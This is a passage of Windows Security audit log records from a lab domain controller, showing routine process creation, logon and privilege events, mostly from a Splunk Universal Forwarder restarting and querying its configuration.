	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253985
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\System32\sppsvc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\sppsvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253984
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x121c
	New Process Name:	C:\Windows\System32\msdtc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\msdtc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253987
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x448
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253989
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x294
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253988
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253990
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x47c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253991
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253999
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x98BC9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:53:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253998
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x98BC9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62299

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:53:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253997
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x98BC9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:53:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253996
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1100
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253995
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1100
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x994
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253994
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x994
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253993
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5c0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2212

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253992
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	splunk _relaunch restart --accept-license --answer-yes --no-prompt --waitonpid=2212

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254005
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1218
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x900
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254004
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xa48
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254003
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa48
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254002
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd00
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x9e4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254001
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x104c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254000
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x104c
